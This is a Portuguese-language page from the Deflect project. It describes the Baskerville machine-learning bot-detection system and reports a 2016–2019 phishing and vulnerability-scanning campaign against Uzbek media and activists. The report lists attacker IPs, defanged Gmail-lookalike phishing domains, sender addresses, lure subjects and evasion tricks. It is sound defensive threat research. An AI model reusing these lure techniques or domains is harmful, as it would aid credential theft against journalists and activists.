Deflect
Muito obrigado pelo seu apoio para que o projeto voltasse a funcionar e também pelo apoio geral que a Deflect oferece às organizações sem fins lucrativos. É fundamental que nossa equipe de Uganda possa divulgar seu trabalho às suas próprias redes, e estamos muito gratos por termos encontrado uma maneira de tornar isso possível.
Esther Smitheram, Gerente de Comunicação da Children on the Edge
Quanto mais bizarro e grotesco for um incidente, mais cuidadosamente ele merece ser analisado.
O Baskerville é uma máquina que opera na rede Deflect e protege sites contra bots maliciosos e persistentes. É também um projeto de código aberto que, com o tempo, poderá reduzir comportamentos indesejáveis também em suas redes. O Baskerville responde ao tráfego da web, analisando as solicitações em tempo real e bloqueando aqueles que apresentam comportamento suspeito. Há alguns meses, o Baskerville atingiu um marco importante: tomar suas próprias decisões sobre o tráfego considerado anômalo. A qualidade dessas decisões (recall) é alta, e o Baskerville já mitigou com sucesso muitos ataques sofisticados na vida real.
Treinamos o Baskerville para reconhecer como é o tráfego legítimo em nossa rede e como diferenciá-lo de solicitações maliciosas que tentam prejudicar os sites de nossos clientes. O Baskerville tem se mostrado muito útil para mitigar ataques DDoS e para classificar corretamente outros tipos de comportamentos maliciosos.
O Baskerville representa uma importante contribuição para o mundo da segurança online — onde defesas robustas na web costumam ser domínio exclusivo de empresas de software proprietário ou de complicados conjuntos de regras manuais. A natureza e os padrões em constante mudança dos ataques tornam sua mitigação um processo contínuo de adaptação. É por isso que treinamos uma máquina para reconhecer e responder ao tráfego anômalo. Nossos planos para o futuro do Baskerville permitirão a instalação do tipo “plug-and-play” na maioria dos ambientes web e a troca de dados de inteligência contra ameaças, respeitando a privacidade, entre o seu servidor e o centro de informações do Baskerville.
Os ataques à web representam uma ameaça às vozes democráticas na Internet. As botnets utilizam um arsenal de métodos, incluindo tentativas de login por força bruta, varredura de vulnerabilidades e ataques DDoS, para sobrecarregar os recursos de hospedagem e as defesas de uma plataforma, ou para causar prejuízos financeiros aos proprietários do site. Os ataques tornam-se uma forma de punição, intimidação e, acima de tudo, censura, seja por meio da negação direta de acesso a um recurso da Internet ou pela instigação do medo entre os editores. Grande parte do desenvolvimento até o momento na detecção de anomalias e na mitigação do tráfego de rede malicioso tem sido de código fechado e proprietário. Essas abordagens isoladas são limitantes ao lidar com variáveis em constante mudança. Elas também são bastante caras de se implementar, com os custos da empresa frequentemente compensados pela venda ou troca de inteligência de ameaças coletada na rede do cliente — algo que a Deflect não faz nem incentiva.
Desde 2010, o projeto Deflect protege centenas de sites da sociedade civil e da mídia independente contra ataques na web, processando mais de um bilhão de solicitações mensais a sites, provenientes tanto de pessoas quanto de bots. Agora, estamos disponibilizando ferramentas de mitigação desenvolvidas internamente para um público mais amplo, aprimorando as defesas de rede em prol da liberdade de expressão e de associação na internet.
O Baskerville foi desenvolvido ao longo de três anos pela equipe dedicada de especialistas em aprendizado de máquina da eQualitie. Vários desafios e metas foram apresentados à equipe. Para tornar essa solução eficaz diante da necessidade cada vez maior de que seres humanos realizem o monitoramento constante da rede e da necessidade incessante de criar regras para bloquear comportamentos maliciosos recém-descobertos na rede, o Baskerville precisava:
O Baskerville funciona analisando o tráfego HTTP destinado ao seu site, monitorando a proporção entre tráfego legítimo e anômalo. Na rede Deflect, ele aciona um desafio de Turing para um endereço IP com comportamento suspeito, confirmando, em seguida, se é uma pessoa real ou um bot que está enviando solicitações para nós.
Para detectar novas ameaças em evolução, o Baskerville utiliza o algoritmo de detecção de anomalias não supervisionado Isolation Forest. A maioria dos algoritmos de detecção de anomalias constrói um perfil de instâncias normais e, em seguida, classifica as instâncias que não se enquadram nesse perfil como anomalias. O principal problema dessa abordagem é que o modelo é otimizado para detectar instâncias normais, mas não para detectar anomalias, o que resulta em um número excessivo de alarmes falsos ou na detecção insuficiente de anomalias. Em contrapartida, o Isolation Forest isola explicitamente as anomalias, em vez de traçar o perfil das instâncias normais. Esse método se baseia em uma suposição simples: “As anomalias são poucas e são diferentes”. Além disso, o algoritmo da Floresta de Isolamento não exige que o conjunto de treinamento contenha apenas instâncias normais. Mais ainda, o algoritmo apresenta um desempenho ainda melhor se o conjunto de treinamento contiver algumas anomalias — ou incidentes de ataque, no nosso caso. Isso nos permite retreinar o modelo regularmente com todo o tráfego recente, sem qualquer procedimento de rotulagem, a fim de nos adaptarmos aos padrões em constante mudança.
Apesar de não precisarmos de rótulos para treinar um modelo, ainda precisamos de um conjunto de dados rotulado com ataques históricos para o ajuste dos parâmetros. Tradicionalmente, a rotulagem é um procedimento desafiador, pois exige muito trabalho manual. Cada novo ataque deve ser relatado e investigado, e cada endereço IP deve ser rotulado como malicioso ou benigno.
Nosso ambiente de produção registra vários incidentes por semana; por isso, criamos um procedimento automatizado de classificação utilizando um modelo de máquina treinado com as mesmas características que usamos para o modelo de detecção de anomalias Isolation Forest.
Concluímos que, se um incidente de ataque apresentar um pico de tráfego claramente visível, podemos supor que a grande maioria dos endereços IP durante esse período seja maliciosa e, assim, treinar um classificador como o Random Forest especificamente para esse incidente. A única informação fornecida pelo usuário seria o período exato desse incidente e o período de tráfego normal desse host. Esse classificador não seria perfeito, mas seria bom o suficiente para separar alguns endereços IP regulares da maioria dos endereços IP maliciosos durante o período do incidente. Além disso, partimos do princípio de que os IPs dos invasores provavelmente não estão ativos imediatamente antes do ataque e não classificamos um IP como malicioso se ele tiver sido detectado no período de tráfego normal.
Esse procedimento de classificação não é perfeito, mas nos permite classificar novos incidentes com muito pouco tempo e interação humana.
Utilizamos a métrica AUC de Precisão-Recall para avaliar o desempenho do modelo. A principal razão para usar a métrica de Precisão-Recall é que ela é mais sensível às melhorias na classe positiva do que a curva ROC (curva característica de operação do receptor). Estamos menos preocupados com a taxa de falsos positivos, pois, caso prevejamos erroneamente que um endereço IP está realizando alguma ação maliciosa, não o baniremos, mas apenas notificaremos o sistema de mitigação de ataques baseado em regras para que ele faça uma verificação desse endereço IP específico. O endereço IP só será banido se a verificação falhar.
Após dois meses validando nossa abordagem no ambiente de produção, começamos a perceber que o modelo não era sofisticado o suficiente para distinguir anomalias específicas apenas de determinados clientes.
A principal razão para isso é que o algoritmo Isolation Forest publicado originalmente suporta apenas características numéricas e não conseguia funcionar com os chamados valores categóricos de string, como o nome do host. Primeiro, decidimos treinar um modelo separado para cada host-alvo e criar um conjunto de modelos para a previsão final. Essa abordagem complicou demais todo o processo e não se adaptou bem à escala. Além disso, tivemos que nos preocupar em ajustar os pesos no conjunto de modelos. Na verdade, comprometemos a ideia original de compartilhamento de conhecimento ao ter um único modelo para todos os clientes. Então, tentamos usar a maneira clássica de lidar com esse problema: a codificação one-hot. No entanto, a solução implantada não funcionou bem, pois o modelo ficou excessivamente ajustado à nova característica do nome do host, e o desempenho diminuiu.
Na iteração seguinte, descobrimos outra maneira de codificar características categóricas com base em um artigo revisado por pares publicado recentemente em 2018. A ideia principal era não usar a codificação one-hot, mas sim modificar o próprio algoritmo de construção de árvores. Não conseguimos encontrar a implementação dessa ideia e tivemos que modificar o código-fonte da biblioteca IForest em Scala. Introduzimos uma nova característica de string, “hostname”, e, dessa vez, o modelo apresentou uma melhoria notável de desempenho em produção. Além disso, nossa implementação final era genérica e nos permitiu fazer experimentos com outras características categóricas, como país, agente do usuário, sistema operacional etc.
O Baskerville utiliza um único modelo de aprendizado de máquina treinado com os dados recebidos de centenas de clientes. Isso nos permite compartilhar o conhecimento e aproveitar os benefícios de um modelo treinado com um conjunto de dados global de incidentes registrados. No entanto, quando implantamos o Baskerville pela primeira vez, percebemos que o modelo apresenta um viés em favor de clientes com alto tráfego.
Tivemos que encontrar um equilíbrio na quantidade de dados que alimentamos no pipeline de treinamento a partir de cada cliente. Por um lado, queríamos equalizar o número de registros de cada cliente, mas, por outro lado, os clientes com alto tráfego forneciam informações sobre incidentes muito mais valiosas. Decidimos usar amostragem estratificada dos conjuntos de dados de treinamento com um único parâmetro: o número máximo de amostras por host.
A Baskerville usa o Postgres para armazenar os resultados processados. A tabela `request-sets` contém os resultados dos weblogs em tempo real pré-processados pelo nosso mecanismo de análise, que tem um volume estimado de entrada de ~30 GB por semana. Assim, em um ano, teríamos uma tabela de ~1,5 TB. Embora isso esteja dentro dos limites do Postgres, executar consultas nessa tabela não seria muito eficiente. Foi aí que o recurso de particionamento de dados do Postgres entrou em cena. Usamos esse recurso para dividir a tabela “request-sets” em tabelas menores, cada uma contendo os dados de uma semana. Isso permitiu um melhor gerenciamento de dados e uma execução mais rápida das consultas.
No entanto, mesmo com o uso do particionamento de dados, precisávamos ser capazes de escalar horizontalmente o banco de dados. Como já contávamos com a extensão Timescale para o banco de dados Prometheus, decidimos usá-la também para o Baskerville. Seguimos o tutorial do Timescale para migração de dados no mesmo banco de dados, o que significa que criamos uma tabela temporária, transferimos os dados de cada uma das partições para a tabela temporária, executamos o comando para criar uma hypertable na tabela temporária, excluímos a tabela inicial de conjuntos de solicitações e suas partições e, por fim, renomeamos a tabela temporária como “conjuntos de solicitações”. Infelizmente, o processo não foi muito simples e enfrentamos alguns problemas. Mas, no final, conseguimos escalar o banco de dados e, atualmente, estamos operando com o Timescale em produção.
Também analisamos outras opções, como o TileDb, o Apache Hive e o Apache HBase, mas, por enquanto, o Timescale é suficiente para nossas necessidades. No entanto, com certeza voltaremos a analisar essa questão no futuro.
O projeto inicial do Baskerville foi elaborado partindo do pressuposto de que ele funcionaria no âmbito do Deflect como um mecanismo de análise, para auxiliar o mecanismo de detecção e mitigação de ataques baseado em regras já em vigor. No entanto, as necessidades mudaram, pois tornou-se necessário disponibilizar as previsões do Baskerville a outros usuários e colocar nossas análises à disposição deles.
Para permitir que outros usuários pudessem aproveitar nosso modelo, tivemos que reprojetar os pipelines para torná-los mais modulares. Também precisávamos levar em conta o tipo de dados a ser trocado; mais especificamente, queríamos evitar qualquer troca que envolvesse dados confidenciais, como endereços IP, por exemplo. A ideia era que o pré-processamento ocorresse no lado do cliente, e apenas os vetores de características resultantes fossem enviados, via Kafka, para o Centro de Predição. O Centro de Previsão monitora continuamente a chegada de vetores de características e, assim que uma solicitação chega, utiliza o modelo pré-treinado para fazer a previsão e enviar os resultados de volta ao usuário. Todo esse processo ocorre sem a troca de qualquer tipo de informação confidencial, já que apenas os vetores de características são transmitidos de um lado para o outro.
No lado do cliente, tivemos que implementar um mecanismo de cache com TTL, para que os conjuntos de solicitações aguardem suas previsões correspondentes. Se o centro de previsão demorar mais de 10 minutos, os conjuntos de solicitações expiram. 10 minutos, é claro, não é um tempo aceitável, mas apenas uma medida de segurança para que não mantenhamos conjuntos de solicitações indefinidamente, o que pode resultar em OOM. O TTL é configurável. Utilizamos o Redis para esse mecanismo, pois ele possui o recurso de TTL integrado e existe um conector Spark-Redis que pudemos usar facilmente, mas ainda estamos ajustando o desempenho e considerando alternativas. Também precisávamos de um aplicativo Spark separado para lidar com a correspondência entre a previsão e o conjunto de solicitações assim que a resposta do Centro de Previsão fosse recebida. Esse aplicativo monitora o tópico do Kafka específico do cliente e, assim que uma previsão chega, ele consulta o Redis, busca o conjunto de solicitações correspondente e salva tudo no banco de dados.
Resumindo, na nova arquitetura, o pré-processamento ocorre no lado do cliente; os vetores de características são enviados via Kafka para o centro de previsão (sem troca de dados confidenciais); uma previsão e uma pontuação para cada conjunto de solicitações são enviadas como resposta a cada vetor de características (via Kafka), e, no lado do cliente, outro trabalho do Spark está aguardando para consumir a mensagem de previsão, associá-la ao respectivo conjunto de solicitações e salvá-la no banco de dados.
Leia mais sobre o projeto e baixe o código-fonte para experimentar por conta própria. Entre em contato conosco para obter mais informações ou para receber ajuda na configuração do Baskerville em seu ambiente web.
Em resposta e em solidariedade às inúmeras iniciativas que surgiram para auxiliar na comunicação, coordenação e divulgação durante a epidemia da COVID-19, a eQualitie está oferecendo gratuitamente, até o final de 2020, os serviços de segurança de sites e entrega de conteúdo da Deflect para organizações e pessoas físicas que estejam trabalhando para ajudar outras pessoas neste momento difícil. Isso inclui:
O Deflect é sempre oferecido gratuitamente a entidades sem fins lucrativos que atendam aos nossos requisitos de elegibilidade. Esta oferta estende nossos serviços gratuitos a qualquer empresa ou pessoa física que esteja atendendo às necessidades da sociedade durante a pandemia, incluindo organizações de mídia, órgãos governamentais, comércio online e serviços de hospitalidade, etc. Analisaremos todas as inscrições para garantir que estejam em conformidade com os Termos de Uso do Deflect.
A configuração leva 15 minutos e você estará protegido ainda no mesmo dia. Nossa equipe de suporte pode ajudá-lo em inglês, francês, chinês, espanhol e russo. Se tiver alguma dúvida, entre em contato conosco.
O projeto Deflect foi criado para proteger sites da sociedade civil contra ataques na web, após a publicação do relatório “Ataques de Negação de Serviço Distribuída (DDoS) contra a mídia independente e sites de direitos humanos”, elaborado pelo Berkman Center for Internet & Society. Desde então, investigamos diversos ataques DDoS, o que resultou na publicação de vários relatórios.
Os ataques que levaram à publicação deste relatório rapidamente se destacaram da enxurrada diária de tráfego malicioso no Deflect, inicialmente porque utilizavam ferramentas profissionais de varredura de vulnerabilidades, como o Acunetix. No momento em que descobrimos que o servidor de origem dessas varreduras também hospedava domínios falsos do Gmail, ficou evidente que algo maior estava acontecendo. Neste relatório, descrevemos todas as peças reunidas sobre essa campanha, com a esperança de contribuir para o conhecimento público sobre os métodos e o impacto de tais ataques contra a sociedade civil.
O Uzbequistão é considerado por muitas organizações de direitos humanos como um Estado autoritário, que tem praticado forte repressão à sociedade civil. Desde o colapso da União Soviética, dois presidentes lideraram um sistema que institucionalizou a tortura e reprimiu a liberdade de expressão, conforme documentado ao longo dos anos pela Human Rights Watch, pela Anistia Internacional e pela Front Line Defenders, entre muitas outras organizações. A repressão se estendeu especialmente à mídia e aos ativistas de direitos humanos, muitos dos quais tiveram que deixar o país e continuar seu trabalho na diáspora.
O Uzbequistão foi um dos primeiros países a estabelecer uma infraestrutura de censura generalizada na Internet, bloqueando o acesso a sites de mídia e de direitos humanos. Servidores da Hacking Team no Uzbequistão foram identificados já em 2014 pelo Citizen Lab. Posteriormente, foi confirmado, a partir de e-mails vazados da Hacking Team, que o Serviço de Segurança Nacional do Uzbequistão (SNB) estava entre os clientes das soluções da Hacking Team. Um relatório da Privacy International de 2015 descreve a instalação, no Uzbequistão, de vários centros de monitoramento com recursos de vigilância em massa fornecidos pela filial israelense da empresa norte-americana Verint Systems e pela empresa israelense NICE Systems. Um relatório da Anistia Internacional de 2007, intitulado “Nós vamos encontrá-los em qualquer lugar”, fornece mais contexto sobre a utilização desses recursos, descrevendo a vigilância digital e os ataques direcionados contra jornalistas e ativistas de direitos humanos uzbeques. Entre outros casos, o relatório descreve os infelizes acontecimentos que levaram ao fechamento do uznews.net — um site de mídia independente fundado por Galima Bukharbaeva em 2005, após o massacre de Andijan. Em 2014, ela descobriu que sua conta de e-mail havia sido invadida e que informações sobre a organização, incluindo nomes e dados pessoais de jornalistas no Uzbequistão, foram publicadas online. Galima é atualmente editora do Centre1, um cliente da Deflect e um dos alvos desta investigação.
Em 16 de novembro de 2018, identificamos um grande ataque contra vários sites protegidos pelo Deflect. Esse ataque utilizou diversas ferramentas profissionais de auditoria de segurança, como o NetSparker e o WPScan, para escanear os sites eltuz.com e centre1.com.
Pico de tráfego durante o ataque (16 de novembro de 2018)
Esse ataque estava vindo do endereço IP 51.15.94.245 (AS12876 — AS online, mas um intervalo de IPs dedicado aos servidores da Scaleway ). Ao analisar o tráfego anterior proveniente desse mesmo endereço IP, encontramos vários casos de ataques a outros sites protegidos pelo Deflect, mas também identificamos domínios que imitavam os domínios do Google e do Gmail hospedados nesse endereço IP, como auth.login.google.email-service[.]host ou auth.login.googlemail.com.mail-auth[.]top. Analisamos bancos de dados de DNS passivo (usando o PassiveTotal Community Edition e outras ferramentas, como o RobTex) e cruzamos essas informações com os ataques observados em sites protegidos pelo Deflect com registro de logs ativado. Descobrimos uma grande campanha combinando ataques na web e de phishing contra a mídia e ativistas. Encontramos a primeira evidência de atividade desse grupo em fevereiro de 2016 e a primeira evidência de ataques em dezembro de 2017.
A lista de sites protegidos pelo Deflect selecionados por esta campanha pode ajudar a contextualizar a motivação por trás dela. Quatro sites foram alvo da campanha:
Três desses alvos são veículos de comunicação de destaque que cobrem o Uzbequistão. Entramos em contato com seus editores e com vários outros ativistas uzbeques para verificar se eles haviam recebido e-mails de phishing como parte dessa campanha. Alguns deles confirmaram ter recebido tais mensagens e as encaminharam para nós. Ampliando nossa pesquisa, conseguimos obter confirmações de ataques de phishing de outros ativistas uzbeques de destaque que não estavam vinculados a sites protegidos pelo Deflect.
O Palestine Chronicle parece ser um caso à parte nesse grupo de sites de mídia voltados para o Uzbequistão. Não temos uma hipótese clara sobre o motivo pelo qual esse site foi alvo de ataques.
Por meio do DNS passivo, identificamos três endereços IP utilizados pelos invasores nesta operação:
Identificamos 15 ataques provenientes dos endereços IP 139.60.163.29 e 51.15.94.245 desde dezembro de 2017 em sites protegidos pelo Deflect:
| Data | IP | Meta | Ferramentas utilizadas |
|---|---|---|---|
| 17/12/2017 | 139.60.163.29 | eltuz.com | WPScan |
| 12 de abril de 2018 | 139.60.163.29 | eltuz.com | Acunetix |
| 15/09/2018 | 51.15.94.245 | www.palestinechronicle.com eltuz.com www.fergana.info e uzbek.fergananews.com | Acunetix e WebCruiser |
| 16/09/2018 | 51.15.94.245 | www.fergana.info | Acunetix |
| 17/09/2018 | 51.15.94.245 | www.fergana.info | Acunetix |
| 18/09/2018 | 51.15.94.245 | www.fergana.info | NetSparker e Acunetix |
| 19/09/2018 | 51.15.94.245 | eltuz.com | NetSparker |
| 20/09/2018 | 51.15.94.245 | www.fergana.info | Acunetix |
| 21/09/2018 | 51.15.94.245 | www.fergana.info | Acunetix |
| 08/10/2018 | 51.15.94.245 | eltuz.com, www.fergananews.com e news.fergananews.com | Desconhecido |
| 16/11/2018 | 51.15.94.245 | eltuz.com, centre1.com e en.eltuz.com | NetSparker e WPScan |
| 18/01/2019 | 51.15.94.245 | eltuz.com | WPScan |
| 19/01/2019 | 51.15.94.245 | fergana.info, www.fergana.info e fergana.agency | Desconhecido |
| 30/01/2019 | 51.15.94.245 | eltuz.com e en.eltuz.com | Desconhecido |
| 05/02/2019 | 51.15.94.245 | fergana.info | Acunetix |
Além das ferramentas clássicas de código aberto, como o WPScan, esses ataques demonstram o uso de uma ampla variedade de ferramentas comerciais de auditoria de segurança, como o NetSparker ou o Acunetix. O Acunetix oferece uma versão de teste que pode ter sido usada neste caso, ao passo que o NetSparker não oferece, o que indica que os operadores podem dispor de um orçamento consistente (a oferta padrão custa US$ 4.995 por ano; pode ter sido utilizada uma versão pirata).
Também é surpreendente ver tantas ferramentas diferentes provenientes de um único servidor, já que muitas delas exigem uma interface gráfica de usuário. Ao analisarmos o IP 51.15.94.245, descobrimos que ele hospedava um proxy Squid na porta 3128; acreditamos que esse proxy fosse usado para retransmitir o tráfego do computador do operador de origem.
Trecho da varredura do nmap no endereço 51.15.94.245, realizada em dezembro de 2018:
3128/tcp aberto http-proxy Squid http proxy 3.5.23 |_http-server-header: squid/3.5.23 |_http-title: ERRO: Não foi possível recuperar a URL solicitada
Depois de descobrirmos uma longa lista de domínios criados para se parecerem com provedores de e-mail populares, suspeitamos que os operadores também estivessem envolvidos em uma campanha de phishing. Entramos em contato com os proprietários dos sites visados, bem como com vários ativistas de direitos humanos do Uzbequistão, e reunimos 14 e-mails de phishing diferentes direcionados a dois ativistas entre março de 2018 e fevereiro de 2019:
| Data | Remetente | Assunto | Link |
|---|---|---|---|
| 12 de março de 2018 | g.corp.sender[@]gmail.com | Você tem 2 mensagens não entregues (You have 2 undelivered messages) | http://mail.gmal.con.my-id[.]top/ |
| 13 de junho de 2018 | service.deamon2018[@]gmail.com | Cessação do acesso ao serviço (Termination of access to the service) | http://e.mail.gmall.con.my-id[.]top/ |
| 18 de junho de 2018 | id.warning.users[@]gmail.com | Seu novo endereço no Gmail: alexis.usa@gmail.com (Seu novo endereço de e-mail no Gmail: alexis.usa@gmail.com) | http://e.mail.users.emall.com[.]my-id.top/ |
| 10 de julho de 2018 | id.warning.daemons[@]gmail.com | Cessação do acesso ao serviço (Termination of access to the service) | hxxp://gmallls.con-537d7.my-id[.]top/ |
| 10 de julho de 2018 | id.warning.daemons[@]gmail.com | Cessação do acesso ao serviço (Termination of access to the service) | http://gmallls.con-4f137.my-id[.]top/ |
| 18 de julho de 2018 | service.deamon2018[@]gmail.com | [N.º do ticket: 2011031810000512] – 3 mensagens não entregues | http://login-auth-goglemail-com-7c94e3a1597325b849e26a0b45f0f068.my-id[.]top/ |
| 2 de agosto de 2018 | id.warning.daemon.service[@]gmail.com | [Lembrete importante] Verifique suas configurações de retenção de dados | Nenhum |
| 16 de outubro de 2018 | lolapup.75[@]gmail.com | Ex-hokim de Tashkent (Ex-prefeito de Tashkent) | http://office-online-sessions-3959c138e8b8078e683849795e156f98.email-service[.]host/ |
| 23 de outubro de 2018 | noreply.user.info.id[@]gmail.com | Sua conta será bloqueada (Your account will be blocked.) | http://gmail-accounts-cb66d53c8c9c1b7c622d915322804cdf.email-service[.]host/ |
| 25 de outubro de 2018 | warning.service.suspended[@]gmail.com | Sua conta será bloqueada. (Your account will be blocked.) | http://gmail-accounts-bb6f2dfcec87551e99f9cf331c990617.email-service[.]host/ |
| 18 de fevereiro de 2019 | service.users.blocked[@]gmail.com | Aviso importante do sistema de segurança (Important Security Alert) | http://id-accounts-blocked-ac5a75e4c0a77cc16fe90cddc01c2499.myconnection[.]website/ |
| 18 de fevereiro de 2019 | mail.suspend.service[@]gmail.com | Alertas do sistema de segurança (Security Alerts) | http://id-accounts-blocked-326e88561ded6371be008af61bf9594d.myconnection[.]website/ |
| 21 de fevereiro de 2019 | service.users.blocked[@]gmail.com | Sua conta será bloqueada. (Your account will be blocked.) | http://id-accounts-blocked-ffb67f7dd7427b9e4fc4e5571247e812.myconnection[.]website/ |
| 22 de fevereiro de 2019 | service.users.blocked[@]gmail.com | Cessação do acesso ao serviço (Termination of access to the service) | http://id-accounts-blocked-c23102b28e1ae0f24c9614024628e650.myconnection[.]website/ |
Quase todos esses e-mails imitavam alertas do Gmail para induzir o usuário a clicar no link. Por exemplo, este e-mail recebido em 23 de outubro de 2018 dá a entender que a conta será encerrada em breve, utilizando imagens do texto hospedadas no Imgur para contornar a detecção do Gmail:
A única exceção foi um e-mail recebido em 16 de outubro de 2018 que fingia fornecer informações confidenciais sobre o ex-Hokim (governador) de Tashkent:
Os e-mails utilizavam truques simples para contornar a detecção, às vezes o encurtador de URLs drw.sh (essa ferramenta pertence à empresa russa de segurança Doctor Web) ou por meio de redirecionamentos abertos oferecidos em várias ferramentas do Google.
Todos os e-mails que observamos utilizavam um subdomínio diferente, inclusive aqueles provenientes da mesma conta do Gmail e com o mesmo assunto. Por exemplo, dois e-mails distintos intitulados “Прекращение предоставления доступа к сервису” e enviados do mesmo endereço usavam hxxp://gmallls.con-537d7.my-id[.]top/ e http://gmallls.con-4f137.my-id[.]top/ como domínios de phishing. Acreditamos que os operadores tenham usado um subdomínio diferente para cada e-mail enviado, a fim de contornar a lista de domínios maliciosos conhecidos do Gmail. Isso explicaria o grande número de subdomínios identificados por meio do DNS passivo. Identificamos 74 subdomínios para 26 domínios de segundo nível utilizados nesta campanha (consulte o apêndice abaixo para obter a lista completa dos domínios descobertos).
Acreditamos que a página de phishing tenha permanecido online apenas por um curto período após o envio do e-mail, a fim de evitar ser detectada. Conseguimos acessar a página de phishing de alguns e-mails. Pudemos confirmar que o kit de ferramentas de phishing verificava se a senha estava correta ou não (em comparação com a conta real do Gmail) e suspeitamos que eles tenham implementado a autenticação de dois fatores por mensagens de texto e aplicativos de 2FA, mas não foi possível confirmar isso.
Encontramos a primeira evidência de atividade nessa operação com o registro do domínio auth-login[.]com em 21 de fevereiro de 2016. Como descobrimos a campanha recentemente, temos poucas informações sobre os ataques ocorridos em 2016 e 2017, mas a data de registro do domínio indica alguma atividade em julho e dezembro de 2016 e, novamente, em agosto e outubro de 2017. É muito provável que a campanha tenha começado em 2016 e continuado em 2017 sem que houvesse qualquer relato público a respeito.
Aqui está uma primeira linha do tempo que elaboramos com base nas datas de registro de domínios e nas datas dos ataques à web e dos e-mails de phishing:
Para confirmar que esse grupo teve alguma atividade durante os anos de 2016 e 2017, reunimos certificados de criptografia (TLS) para esses domínios e subdomínios a partir do banco de dados de transparência de certificados crt.sh. Identificamos 230 certificados gerados para esses domínios, a maioria deles criada pela Cloudflare. Aqui está uma nova linha do tempo que integra a criação dos certificados TLS:
Vemos aqui muitos certificados criados desde dezembro de 2016 e ao longo de 2017, o que demonstra que esse grupo teve alguma atividade durante esse período. O grande número de certificados em 2017 e 2018 se deve ao fato de os operadores de campanhas utilizarem o Cloudflare para vários domínios. O Cloudflare cria vários certificados de curta duração ao mesmo tempo ao proteger um site.
Também é interessante observar que a campanha teve início em fevereiro de 2016, com alguma atividade no verão de 2016 — época em que ocorreu a morte do ex-presidente do Uzbequistão, Islam Karimov, notícia divulgada inicialmente pelo Fergana News, um dos alvos dessa campanha de ataques.
Identificamos domínios e subdomínios dessa campanha por meio da análise de informações de DNS passivo, utilizando principalmente o acesso à Comunidade do PassiveTotal. Muitos domínios em 2016/2017 reutilizaram o mesmo endereço de e-mail do registrante, b.adan1@walla.co.il, o que nos ajudou a identificar outros domínios relacionados a essa campanha:
Com base nessa lista, identificamos subdomínios e endereços IP associados a eles e descobrimos três endereços IP utilizados na operação. Utilizamos dados históricos do Shodan e datas de dados de DNS passivo para estimar a linha do tempo da utilização dos diferentes servidores:
Identificamos 74 subdomínios para 26 domínios de segundo nível utilizados nesta campanha (consulte o apêndice para obter a lista completa de IOCs). A maioria desses domínios imita o Gmail, mas também há domínios que imitam o Yandex (auth.yandex.ru.my-id[.]top), o mail.ru (mail.ru.my-id[.]top), o qip.ru (account.qip.ru.mail-help-support[.]info), o Yahoo (auth.yahoo.com.mail-help-support[.]info), o Live (login.live.com.mail-help-support[.]info) ou o rambler.ru (mail.rambler.ru.mail-help-support[.]info). A maioria desses domínios são subdomínios de alguns domínios genéricos de segundo nível (como auth-mail.com), mas há alguns domínios de segundo nível específicos que são interessantes:
bit-ly[.]host, que se faz passar por bit.lym-youtube[.]top e m-youtube[.]org para o YouTubeecoit[.]email, que poderia se passar por https://www.ecoi.netpochta[.]top provavelmente se faz passar pelo site https://www.pochta.ru/, do Correio Russovzlom[.]top e fixerman[.]top. “Vzlom” significa “invadir” em russo; portanto, o site poderia ter hospedado ou se passado por um site de segurança.É bastante incomum observar conexões entre ataques direcionados e organizações criminosas cibernéticas; no entanto, durante esta investigação, identificamos duas dessas ligações.
O primeiro é o domínio msoffice365[.]win, que foi registrado por b.adan1@walla.co.il (assim como muitos outros domínios dessa campanha) em 7 de dezembro de 2016. Esse domínio foi identificado como um servidor C2 para uma ferramenta de roubo de criptomoedas chamada Quant, conforme descrito neste relatório da Forcepoint divulgado em dezembro de 2017. O Virus Total confirma que esse domínio hospedou várias amostras desse malware em novembro de 2017 (ele foi registrado por um ano). Não observamos nenhuma atividade maliciosa proveniente desse domínio relacionada à nossa campanha, mas, conforme explicado anteriormente, temos acesso limitado às atividades do grupo em 2017.
A segunda conexão que identificamos é entre o domínio auth-login[.]com e os grupos responsáveis pelo trojan Bedep e pelo kit de exploração Angler. O domínio auth-login[.]com foi associado a essa operação por meio do subdomínio login.yandex.ru.O auth-login[.]com se encaixa no padrão de subdomínios longos que imitam o Yandex nesta campanha e, de acordo com a RiskIQ, estava hospedado no mesmo endereço IP 46.45.137.74 em março e abril de 2016. Esse domínio foi registrado em fevereiro de 2016 por yingw90@yahoo.com (David Bowers, de Grovetown, GA, nos EUA, de acordo com as informações do whois). Esse endereço de e-mail também foi usado para registrar centenas de domínios utilizados em uma campanha do Bedep, conforme descrito pela Talos em fevereiro de 2016 (e confirmado por vários outros relatórios). O kit de exploração Angler é um dos mais notórios, amplamente utilizado por cibercriminosos entre 2013 e 2016. O Bedep é um backdoor genérico identificado em 2015 e usado quase exclusivamente com o kit de exploração Angler. Vale ressaltar que a Trustwave documentou o uso do Bedep em 2015 para aumentar o número de visualizações de vídeos de propaganda pró-Rússia.
Mesmo que não tenhamos observado qualquer uso desses dois domínios nesta campanha, essas duas ligações parecem fortes demais para serem consideradas meramente circunstanciais. Essas ligações poderiam indicar uma colaboração entre grupos cibercriminosos e grupos ou serviços patrocinados pelo Estado. É interessante lembrar o possível envolvimento de grupos de hackers russos nos ataques ao editor do Uznews.net em 2014, conforme descrito pela Anistia Internacional.
Quando o ataque foi descoberto, decidimos investigar sem enviar nenhuma denúncia, até que tivéssemos uma visão mais clara da campanha. Em janeiro, concluímos que já tínhamos informações suficientes sobre a campanha e começamos a enviar denúncias — sobre endereços falsos do Gmail ao Google e sobre os encurtadores de URL à Doctor Web. Não recebemos nenhuma resposta, mas percebemos que as URLs da Doctor Web foram removidas alguns dias depois.
Em relação ao servidor da Scaleway, entramos em um ciclo vicioso inesperado com o processo de denúncia de abuso deles. A Scaleway opera enviando a notificação de abuso diretamente ao cliente e, em seguida, solicita a confirmação de que o problema foi resolvido. Esse processo funciona bem no caso de um servidor comprometido, mas não funciona quando o servidor foi alugado intencionalmente para atividades maliciosas. Não queríamos enviar uma notificação de abuso, pois isso implicaria em revelar informações aos operadores. Entramos em contato diretamente com a Scaleway e demorou algum tempo para encontrar a pessoa certa na equipe de segurança. Eles reconheceram a dificuldade de manter um processo de denúncia de abuso eficiente e, depois que enviamos uma versão anônima deste relatório, juntamente com provas de que sites de phishing estavam hospedados no servidor, eles desativaram o servidor por volta do dia 25 de janeiro de 2019.
